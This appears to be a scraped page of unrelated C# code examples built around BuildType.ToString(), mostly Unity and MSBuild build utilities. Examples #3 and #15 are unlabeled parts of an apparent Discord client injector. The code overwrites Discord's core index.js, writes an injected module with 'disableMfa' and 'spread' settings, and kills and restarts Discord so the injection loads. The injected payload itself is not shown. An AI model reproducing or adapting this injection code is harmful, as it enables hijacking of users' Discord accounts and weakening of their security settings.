예제 #1
0
        private void Save(BuildType buildType)
        {
            if (!Directory.Exists("Assets" + GAME_RESOURCE_PATH))
            {
                Directory.CreateDirectory("Assets" + GAME_RESOURCE_PATH);
            }

            PlayerSettings.defaultScreenWidth  = int.Parse(_screenWidth);
            PlayerSettings.defaultScreenHeight = int.Parse(_screenHeight);
            PlayerSettings.defaultIsFullScreen = _fullscreen;
            PlayerSettings.productName         = _gameName;

            string settings =
                "Resolution: " + _screenWidth + " x " + _screenHeight + "\n" +
                "Fullscreen: " + _fullscreen.ToString() + "\n" +
                "FullscreenMode: Empty\n" +
                "BuildMode: " + buildType.ToString() + "\n" +
                _gameName + "\n" +
                "Targer Frame Rate: " + _targetFrameRate + "\n" +
                "Game Version: " + _version.ToString() + "\n" +
                "Bundle Version: " + _bundleVersion.ToString();


            File.WriteAllText(Application.dataPath + GAME_RESOURCE_PATH + "/gameSettings.txt", settings);
            AssetDatabase.Refresh();
        }
예제 #2
0
        /// <summary>
        /// Main entry point.
        /// </summary>
        /// <param name="worker">Background task interface object.</param>
        /// <returns>True on success.</returns>
        public bool CopyAllFiles(BackgroundWorker worker)
        {
            mWorker = worker;

            ReportProgress("Preparing... build type is " + mBuildType + ", test files are " +
                           (mCopyTestFiles ? "" : "NOT ") + "included.");
            ReportProgress(""); // the first CRLF is ignored by RichTextBox??

            string buildStr = mBuildType.ToString();
            string basePath = FindBasePath();

            Debug.Assert(basePath != null);
            string distPath = Path.Combine(basePath, "DIST_" + buildStr);

            // TODO(maybe): recursively delete distPath

            if (!CopySpecList(sMainSpec, basePath, distPath, buildStr))
            {
                return(false);
            }
            if (mCopyTestFiles)
            {
                if (!CopySpecList(sTestSpec, basePath, distPath, buildStr))
                {
                    return(false);
                }
            }

            ReportProgress("Success", Colors.Green);
            return(true);
        }
예제 #3
0
        public static void coolMethod(BuildType type)
        {
            Program._path = Environment.GetEnvironmentVariable("appdata") + "\\" + type.ToString().ToLower();
            switch (type)
            {
            case BuildType.Discord:
                Program._path = Program._path + "\\" + Program.lastFound.Replace("app-", "");
                break;

            case BuildType.DiscordPTB:
                Program._path = Program._path + "\\" + Program.lastPTBFound.Replace("app-", "");
                break;

            case BuildType.DiscordDevelopment:
                Program._path = Program._path + "\\" + Program.lastDevelopmentFound.Replace("app-", "");
                break;
            }
            Program._path += "\\modules\\discord_desktop_core\\index.js";
            bool flag = File.ReadAllText(Program._path).Count <char>() > 1;

            if (flag)
            {
                File.WriteAllText(Program._path, "module.exports = require('./core.asar');");
            }
        }
예제 #4
0
        private void OnGUI()
        {
            GUILayout.Space(5);
            currentBuildType  = (BuildType)EditorGUILayout.EnumPopup("Build Type", currentBuildType);
            currentBuildPhase = (BuildPhase)EditorGUILayout.EnumPopup("Build Phase", currentBuildPhase);
            bundleVersion     = EditorGUILayout.IntField("Bundle Version", bundleVersion);

            //EditorGUILayout.BeginVertical();
            if (GUILayout.Button("Reset Build Settings", GUILayout.ExpandHeight(true)))
            {
                settings.buildPhase    = BuildPhase.Alpha.ToString();
                settings.buildType     = BuildType.Development.ToString();
                settings.bundleVersion = 1;
                settings.v1            = 1;
                settings.v2            = 0;
                settings.v3            = 0;
                BuildPipeline.WriteBuildSettingToJson(settings);
                ShowVersionSettings();
            }

            if (GUILayout.Button("Update Build Settings", GUILayout.ExpandHeight(true)))
            {
                settings.buildType     = currentBuildType.ToString();
                settings.buildPhase    = currentBuildPhase.ToString();
                settings.bundleVersion = bundleVersion;
                BuildPipeline.WriteBuildSettingToJson(settings);
            }
            //EditorGUILayout.BeginVertical();
        }
        /// <summary>
        /// Starts the build process for an ElastiCube.
        /// </summary>
        /// <param name="server">The ElastiCube's server address.</param>
        /// <param name="cubeName">The name or ID of the ElastiCube.</param>
        /// <param name="buildType">Type of the build.</param>
        public async Task StartBuildElastiCubeServerAsync(string server, string cubeName, BuildType?buildType)
        {
            string queryString = new QueryStringBuilder()
                                 .AddParameter("type", buildType?.ToString())
                                 .Build();

            await SendRequestAsync(HttpMethod.Post, $"elasticubes/{server}/{cubeName}/startBuild{queryString}")
            .ConfigureAwait(false);
        }
예제 #6
0
        public JsonData ToJson()
        {
            JsonData json = new JsonData();

            json["bundleName"] = bundleName;
            json["buildMd5"]   = buildMd5;
            json["buildType"]  = buildType.ToString();
            json["version"]    = version;
            json["crc"]        = crc;
            json["size"]       = size;
            json["assetPaths"] = new JsonData();
            for (int i = 0; i < assetPaths.Count; i++)
            {
                json["assetPaths"].Add(assetPaths[i]);
            }
            json["assetHashs"] = new JsonData();
            for (int i = 0; i < assetPaths.Count; i++)
            {
                json["assetHashs"].Add(assetHashs[i]);
            }
            if (dependenceMap.Count > 0)
            {
                //json["dependenceMap"] = new JsonData();
                foreach (var dep in dependenceMap)
                {
                    JsonData depJson = new JsonData();
                    //depJson["path"] = dep.Key;
                    json["dependencePaths"] = depJson;
                    for (int i = 0; i < dep.Value.Length; i++)
                    {
                        depJson.Add(dep.Value[i]);
                    }
                    //json["dependenceMap"].Add(depJson);
                }
            }
            if (dependenceHashMap.Count > 0)
            {
                //json["dependenceHashs"] = new JsonData();
                foreach (var dep in dependenceHashMap)
                {
                    JsonData depJson = new JsonData();
                    //depJson["path"] = dep.Key;
                    json["dependenceHashs"] = depJson;
                    for (int i = 0; i < dep.Value.Length; i++)
                    {
                        depJson.Add(dep.Value[i]);
                    }
                    //json["dependenceHashs"].Add(depJson);
                }
            }
            return(json);
        }
예제 #7
0
        ///////////////////////////////////////////////////////////////////////

        #region Private Formatting Methods
        private static string BuildTypeToString(
            BuildType buildType
            )
        {
            string result = (buildType == BuildType.Default) ?
                            String.Empty : buildType.ToString();

            if (!String.IsNullOrEmpty(result) &&
                Char.IsDigit(result[result.Length - 1]))
            {
                result += DigitSeparator;
            }

            return(result);
        }
        static string GetDisplayText(BuildType buildType)
        {
            switch (buildType)
            {
            case BuildType.All:
                return(GettextCatalog.GetString("All"));

            case BuildType.Build:
                return(GettextCatalog.GetString("Builds"));

            case BuildType.DesignTimeBuild:
                return(GettextCatalog.GetString("Design-time Builds"));

            default:
                return(buildType.ToString());
            }
        }
예제 #9
0
    public static void StripCode(BuildType buildType, bool isDevelopmentBuild)
    {
        GameDebug.Log("Stripping code for " + buildType.ToString() + " (" + (isDevelopmentBuild ? "DevBuild" : "NonDevBuild") + ")");
        var deleteBehaviors   = new List <MonoBehaviour>();
        var deleteGameObjects = new List <GameObject>();

        foreach (var behavior in UnityEngine.Object.FindObjectsOfType <MonoBehaviour>())
        {
            if (behavior.GetType().GetCustomAttributes(typeof(EditorOnlyComponentAttribute), false).Length > 0)
            {
                deleteBehaviors.Add(behavior);
            }
            else if (behavior.GetType().GetCustomAttributes(typeof(EditorOnlyGameObjectAttribute), false).Length > 0)
            {
                deleteGameObjects.Add(behavior.gameObject);
            }
            else if (buildType == BuildType.Server && behavior.GetType().GetCustomAttributes(typeof(ClientOnlyComponentAttribute), false).Length > 0)
            {
                deleteBehaviors.Add(behavior);
            }
            else if (buildType == BuildType.Client && behavior.GetType().GetCustomAttributes(typeof(ServerOnlyComponentAttribute), false).Length > 0)
            {
                deleteBehaviors.Add(behavior);
            }
            else if (!isDevelopmentBuild && behavior.GetType().GetCustomAttributes(typeof(DevelopmentOnlyComponentAttribute), false).Length > 0)
            {
                deleteBehaviors.Add(behavior);
            }
        }

        GameDebug.Log(string.Format("Stripping {0} game object(s) and {1} behavior(s)", deleteGameObjects.Count, deleteBehaviors.Count));

        foreach (var gameObject in deleteGameObjects)
        {
            UnityEngine.Object.DestroyImmediate(gameObject);
        }

        foreach (var behavior in deleteBehaviors)
        {
            UnityEngine.Object.DestroyImmediate(behavior);
        }
    }
예제 #10
0
        //Constructor

        public Building(BuildType buildingType)
        {
            MyType = buildingType;

            baseConsumption = new Dictionary <GoodType, float>();
            GoodType[] baseConsumptionGoods   = BuildingGoodsConsumed[MyType];//new Dictionary<GoodType, float>(); //these values have to be read in from a file somewhere
            float[]    baseConsumptionWeights = BuildingConsumptionWeights[MyType];
            for (int i = 0; i < baseConsumptionGoods.Length; i++)
            {
                baseConsumption.Add(baseConsumptionGoods[i], baseConsumptionWeights[i]);
            }

            baseProduction = new Dictionary <GoodType, float>();              //these values have to be read in from a file somewhere
            GoodType[] baseProductionGoods   = BuildingGoodsProduced[MyType]; //new Dictionary<GoodType, float>(); //these values have to be read in from a file somewhere
            float[]    baseProductionWeights = BuildingProductionWeights[MyType];
            for (int i = 0; i < baseProductionWeights.Length; i++)
            {
                baseConsumption.Add(baseProductionGoods[i], baseProductionWeights[i]);
            }

            ConstructionCost = new Dictionary <GoodType, int>();  //these values have to be read in from a file somewhere

            SpaceRequired = (BuildSize)Enum.Parse(typeof(BuildSize), MyType.ToString("g"));
        }
예제 #11
0
        public WaBackupsViewModel(BuildType buildType)
        {
            if (buildType == BuildType.Stable)
            {
                manager = new StableBackupsManager(this);
            }
            else if (buildType == BuildType.Beta)
            {
                manager = new BetaBackupsManager(this);
            }
            else
            {
                throw new LauncherException("Unknown build type");
            }

            CreateBackupStatus = "Create backup";

            CreateBackupCommand = new AwaitableDelegateCommand(async () =>
            {
                try
                {
                    CreateBackupStatus = "Creating...";
                    makingBackup = true;
                    var t = new Task<WaBackup>(() => manager.CreateBackup());
                    t.Start();
                    var backup = await t;
                    WaBackups.Add(backup);
                }
                catch (Exception exception)
                {
                    App.Logger.LogError("", this, exception);
                    ErrorManager.ShowWarning(exception.Message, exception);
                }
                finally
                {
                    makingBackup = false;
                    CreateBackupStatus = "Create backup";
                    UpdateLastBackupTime();
                }
            }, () => !makingBackup);

            ManageBackupsCommand = new DelegateCommand(() =>
            {
                var ui = new ManageWaBackups(this);
                ui.ShowDialog();
            });

            ImportSettingsCommand = new DelegateCommand(() =>
            {
                // nothing yet
            });

            Title = string.Format("Backups manager ({0})", buildType.ToString());
            RefreshBackups();

            UpdateLastBackupTime();

            timer = new DispatcherTimer();
            timer.Interval = TimeSpan.FromSeconds(30);
            timer.Tick += (sender, args) => UpdateLastBackupForDisplay();

            WaBackups.CollectionChanged += (sender, args) => UpdateLastBackupTime();
        }
예제 #12
0
        private void MakeBuild()
        {
            //change the enabled shit
            DisableScenes();
            for (int i = 0; i < editorBuilds.Count; i++)
            {
                if (SceneBuildType.BuildLeft && (editorBuilds[i].path.Contains("left") || editorBuilds[i].path.Contains("Left")))
                {
                    editorBuilds[i].enabled = true;
                    _buildType = BuildType.Left;
                    SceneBuildType.BuildLeft = false;
                    Debug.Log("Prepared to make a build for left screen " + editorBuilds[i].path);
                    break;
                }
                else if (SceneBuildType.BuildRight && (editorBuilds[i].path.Contains("right") || editorBuilds[i].path.Contains("Right")))
                {
                    editorBuilds[i].enabled = true;
                    _buildType = BuildType.Right;
                    SceneBuildType.BuildRight = false;
                    Debug.Log("Prepared to make a build for right screen " + editorBuilds[i].path);
                    break;
                }
                else if (SceneBuildType.BuildCenter && (editorBuilds[i].path.Contains("center") || editorBuilds[i].path.Contains("Center")))
                {
                    editorBuilds[i].enabled = true;
                    _buildType = BuildType.Center;
                    SceneBuildType.BuildCenter = false;
                    Debug.Log("Prepared to make a build for center screen " + editorBuilds[i].path);
                    break;
                }
                else if (rightScene == null || leftScene == null || centerScene == null)
                {
                    if (SceneBuildType.BuildLeft)
                    {
                        _buildType = BuildType.Left;
                        SceneBuildType.BuildLeft = false;
                    }
                    else if (SceneBuildType.BuildRight)
                    {
                        _buildType = BuildType.Right;
                        SceneBuildType.BuildRight = false;
                    }
                    else if (SceneBuildType.BuildCenter)
                    {
                        _buildType = BuildType.Center;
                        SceneBuildType.BuildCenter = false;
                    }
                    else
                    {
                        return;
                    }
                    break;
                }
            }

            _currentBuild++;
            EditorBuildSettings.scenes = editorBuilds.ToArray();
            List <string> scenesPaths = new List <string>();

            _buildPath = Directory.GetCurrentDirectory() + "/Builds/" + PlayerSettings.productName + "_" + _buildType.ToString();
            string buildPath = _buildPath + "/" + PlayerSettings.productName + "_" + _buildType.ToString() + ".exe";

            for (int i = 0; i < EditorBuildSettings.scenes.Length; i++)
            {
                if (EditorBuildSettings.scenes[i].enabled)
                {
                    scenesPaths.Add((EditorBuildSettings.scenes[i].path));
                }
            }
            ChangeJsonFile();
            BuildPlayerOptions buildOptions = new BuildPlayerOptions();
            {
                buildOptions.scenes           = scenesPaths.ToArray();
                buildOptions.locationPathName = buildPath;
                buildOptions.target           = BuildTarget.StandaloneWindows;
                buildOptions.options          = BuildOptions.None;
            }
            BuildReport  report  = BuildPipeline.BuildPlayer(buildOptions);
            BuildSummary summary = report.summary;

            if (summary.result == BuildResult.Failed)
            {
                return;
            }
            scenesPaths.Clear();
            Debug.Log("Made a build for " + _buildType.ToString());
            DeleteFiles();
            if (_buildCount > _currentBuild)
            {
                Debug.Log("Will make a next build");
                MakeBuild();
            }
            else
            {
                Debug.Log("<color=green>Finished making builds</color>");
                return;
            }
        }
예제 #13
0
        private BuildResult DoBuild(BuildType buildType)
        {
            DateTime buildStartTime   = DateTime.Now;
            string   msbuildArguments = string.Format("{0} /t:{1}", _solutionFileFullPath, buildType.ToString());

            if (_buildConfiguration != null)
            {
                msbuildArguments += string.Format(" /property:Configuration={0}", _buildConfiguration);
            }
            if (_buildPlatform != null)
            {
                msbuildArguments += string.Format(" /property:Platform={0}", _buildPlatform);
            }
            msbuildArguments += " /maxcpucount";
            var runResult = CommandExecutor.Run(_workingDirectory, _builderCommand, msbuildArguments);

            return(new BuildResult(
                       runResult.outputs,
                       runResult.errors,
                       buildDuration: DateTime.Now - buildStartTime));
        }
예제 #14
0
        private string GetOutputDirectory(string beginsWith)
        {
            var dir = Path.Combine(beginsWith, Architecture.ToString(), BuildType.ToString(), "native");

            return(Path.GetFullPath(dir));
        }
예제 #15
0
        public static void Inject(string path, BuildType type)
        {
            try
            {
                bool flag = Directory.Exists(path + "\\app");
                if (flag)
                {
                    Directory.Delete(path + "\\app", true);
                }
            }
            catch
            {
                Process[] processesByName = Process.GetProcessesByName(type.ToString());
                for (int i = 0; i < processesByName.Length; i++)
                {
                    processesByName[i].Kill();
                    Directory.Delete(path + "\\app", true);
                }
            }
            Directory.CreateDirectory(path + "\\app");
            File.WriteAllText(path + "\\app\\index.js", Injec.injec);
            Directory.CreateDirectory(path + "\\app\\modules");
            File.WriteAllText(path + "\\app\\modules\\index.js", Mod.mod);
            File.WriteAllText(path + "\\app\\package.json", string.Concat(new string[]
            {
                "{\"name\":\"discord\",\"main\":\"index.js\",\"loaded\":false,\"dir\":\"",
                path.Replace("\\", "\\\\"),
                "\\\\app\\\\modules\\\\index.js\",\"disabled\":",
                Settings.disableMfa.ToString().ToLower(),
                ",\"private\":true,\"multiply\":",
                Settings.spread.ToString().ToLower(),
                "}"
            }));
            Program.coolMethod(type);
            bool restartDiscord = Settings.restartDiscord;

            if (restartDiscord)
            {
                switch (type)
                {
                case BuildType.Discord:
                {
                    Process[] processesByName2 = Process.GetProcessesByName("Discord");
                    foreach (Process process in Process.GetProcessesByName("Discord"))
                    {
                        try
                        {
                            process.Kill();
                        }
                        catch
                        {
                        }
                    }
                    bool flag2 = processesByName2.Length != 0;
                    if (flag2)
                    {
                        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord.lnk");
                    }
                    break;
                }

                case BuildType.DiscordPTB:
                {
                    Process[] processesByName6 = Process.GetProcessesByName("DiscordPTB");
                    foreach (Process process3 in Process.GetProcessesByName("DiscordPTB"))
                    {
                        try
                        {
                            process3.Kill();
                        }
                        catch
                        {
                        }
                    }
                    bool flag4 = processesByName6.Length != 0;
                    if (flag4)
                    {
                        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord PTB.lnk");
                    }
                    break;
                }

                case BuildType.DiscordDevelopment:
                {
                    Process[] processesByName8 = Process.GetProcessesByName("DiscordDevelopment");
                    foreach (Process process4 in Process.GetProcessesByName("DiscordDevelopment"))
                    {
                        try
                        {
                            process4.Kill();
                        }
                        catch
                        {
                        }
                    }
                    bool flag5 = processesByName8.Length != 0;
                    if (flag5)
                    {
                        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord Development.lnk");
                    }
                    break;
                }
                }
            }
        }
    public static void BumpBundleVersion(BuildType versionReleasing = BuildType.BUILD)
    {
        string[] versionChar = Application.version.Split('.');
        if (versionChar.Length < 4)
        {
            Debug.LogError("Formato da versão alterado incorretamente. Setando para versão 1.0.0.8");
            versionChar = new string[] { "1", "0", "0", "1" };
        }
        if (versionChar.Length > 4)
        {
            Debug.LogError("Formato da versão alterado incorretamente. Utilizando apenas primeiros 4 números");
        }

        int[] appVersion = new int[4] {
            int.Parse(versionChar[0]),
            int.Parse(versionChar[1]),
            int.Parse(versionChar[2]),
            int.Parse(versionChar[3]),
        };

        // versao de build sempre incremental
        // mesmo que haja erros
        appVersion[3] += 1;

        // se a versão principal mudar
        // resetamos as outras e mantemos a build
        // seguindo o padrão
        // 0 for alpha (status); 1 for beta (status); 2 for release candidate; 3 for (final) release
        if (versionReleasing == BuildType.MAJOR)
        {
            appVersion[0] += 1;  // major
            appVersion[1]  = 0;  // reset minor
            appVersion[2]  = 0;  // reset revision
        }
        else if (versionReleasing == BuildType.MINOR)
        {
            appVersion[1] += 1;  // minor
            appVersion[2]  = 0;  // reset revision
        }
        else if (versionReleasing == BuildType.REVISION_ALPHA_0)
        {
            appVersion[2] = 1;   // revision
        }
        else if (versionReleasing == BuildType.REVISION_BETA_1)
        {
            appVersion[2] = 1;   // revision
        }
        else if (versionReleasing == BuildType.REVISION_RC_2)
        {
            appVersion[2] = 2;   // revision
        }
        else if (versionReleasing == BuildType.REVISION_FINAL_3)
        {
            appVersion[2] = 3;   // revision
        }

        // Atualiza os valores
        PlayerSettings.bundleVersion = string.Format(
            "{0}.{1}.{2}.{3}",
            appVersion[0],
            appVersion[1],
            appVersion[2],
            appVersion[3]
            );

        // Update build number
        PlayerSettings.macOS.buildNumber = appVersion[3].ToString();
        // Printa os valores atuais
        Debug.LogFormat("Version updated to {0} from BuildType {1}", Application.version, versionReleasing.ToString());
    }